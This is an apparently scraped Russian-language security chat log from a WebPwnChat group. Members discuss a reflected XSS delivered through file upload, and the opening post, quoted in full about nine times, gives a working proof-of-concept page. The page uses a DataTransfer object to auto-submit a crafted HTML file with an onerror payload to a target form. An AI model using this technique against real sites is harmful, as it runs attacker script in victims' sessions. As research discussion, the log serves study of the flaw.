Size: a a a

2021 February 04

G

Grozniy in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
А кто нить пробывал в input value, date:,base64 засунуть?
источник

НА

Николай Алиферов... in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
не, ну если есть доступ в модификации кода, то я так не играю)
источник

J

Jack in WebPwnChat
Grozniy
А кто нить пробывал в input value, date:,base64 засунуть?
Ну в Value ты положишь, ляжет туда эта строка, and what?)
источник

J

Jack in WebPwnChat
Николай Алиферов
не, ну если есть доступ в модификации кода, то я так не играю)
Пользователь заходит на страницу, код отрабатывает за него. На целевом ресурсе эксплуатируется уязвимость к XSS, о чем ты?)
источник

GD

Green Dog in WebPwnChat
Николай Алиферов
не, ну если есть доступ в модификации кода, то я так не играю)
Это же на сайте атакующего
источник

НА

Николай Алиферов... in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
типа хром позволяет отправить файл с моего компа без разрешения?)
источник

GD

Green Dog in WebPwnChat
Николай Алиферов
типа хром позволяет отправить файл с моего компа без разрешения?)
нет, это же про хсс. Можно эмулировать загрузку произвольного файла юзером на какой-то сайт, где есть хсска
источник

НА

Николай Алиферов... in WebPwnChat
Green Dog
нет, это же про хсс. Можно эмулировать загрузку произвольного файла юзером на какой-то сайт, где есть хсска
ну передать себе файл от юзера? правильно?
источник

НА

Николай Алиферов... in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
через upload
источник

J

Jack in WebPwnChat
Николай Алиферов
ну передать себе файл от юзера? правильно?
-
источник

НА

Николай Алиферов... in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
пока не понимаю) жертва заходит на сайт, выбирает отправление файла, а я делаю так чтобы файлов было больше или вообще модифицирую какие файлы отправятся?
источник

GD

Green Dog in WebPwnChat
твоя жертва заходит на твой сайт, там твой ЖС создает формочку с файлом с хсс пейлоадом и отправляет эту формочку на атакуемый сайт. Атакуемый сайт принимает файл и отображает его контент (с твоим хсс) и твой Хсс пейлоад исполняется в контексте твоей жертвы на атакуемом сайте
источник

С

Святослав in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
заходит на сайт атакующего, с которого перенаправляет на сайт, где есть xss в форме загрузки и эксплуатирует эту форму
источник

I

Ivan in WebPwnChat
Может ну нафиг хсс и пойти искать нормальные баги?
источник

1

1.4.7/12 in WebPwnChat
Ivan
Может ну нафиг хсс и пойти искать нормальные баги?
Редирект например или кликджекинг
источник

SS

Sasha Sh in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
источник

J

Jack in WebPwnChat
Ivan
Может ну нафиг хсс и пойти искать нормальные баги?
хули делать) Бери что дают)
источник

SS

Sasha Sh in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
Через new File нельзя читать файлы с локальной машины, но можно создать файл с любым контентом.
А с помощью кода указанного выше - этот сгенерированынй файл можно загрузить в любой сервис
источник

SS

Sasha Sh in WebPwnChat
ID:0
И так, еще один интересный кейс.

Представьте себе... Reflected XSS via File Upload.

На первый взгляд, кажется простой задачей. Но оказывается, что подсунуть пользователю отправку произвольного файла из браузера без действий пользователя не так уж просто.

Вспомним, нам нужно заставить пользователя открыть страницу, после из JS создать на странице форму с уже подставленным файлом, и после перенаправить его на уязвимую страницу вместе с загруженными данными. В этом случае нам ни как не помогут ни XMLHttpRequest, ни fetch, о которых вы сначала могли подумать.

В чем ключевая проблема? До недавнего времени вообще не было возможным подставить в поле input произвольный объект файла из кода JS.

Для содержания файлов объект input имеет поле input.files, которое представляет собой объект FileList. И до какого-то времени мы не могли его изменять (он считался immutable) и создавать кастомные FileList объекты, кроме возможности изменять его через объекты полученные из события DataTransferEvent (Т.е. когда юзер сам перетаскивал файлы на экран). Но в 17 году ребята обнаружили возможность вызывать конструктор объекта DataTransfer , который порождает изменяемый объект FileList, который мы можем наполнить своими произвольными файлами из кода JS!!!

Пример эксплоита для такой уязвимости:


<!DOCTYPE html>
<html>
<body>
<form id="" action="https://example.com/convert-file" method="POST" enctype="multipart/form-data">
 <input id="file" type="file" name="file"/>
 "/>
</form>

<script>
 class _DataTransfer {
   constructor() {
    return new ClipboardEvent("").clipboardData || new DataTransfer();}
 }

 const input = document.querySelector('input');
 const file = new File(['<img onerror="alert(\'Domain: \'+document.domain+\'" src="x" />'],"name.html",{type:"text/html"})

 const dt = new _DataTransfer();

 dt.items.add(file)

 input.files = dt.files;

 document.forms[0].submit();
</script>
</body>
</html>


Надеюсь пригодится! Мне пригодилось;)
https://jsfiddle.net/1qbpxfdr/

Вот пример, нажмите на "click to set files filename.txt" и на хостинг загрузится файл с именем filename.txt и содержимым "File content"
источник

1

1.4.7/12 in WebPwnChat
Sasha Sh
https://jsfiddle.net/1qbpxfdr/

Вот пример, нажмите на "click to set files filename.txt" и на хостинг загрузится файл с именем filename.txt и содержимым "File content"
У меня идёт запрос, чтоб я выбрал какой файл грузить
источник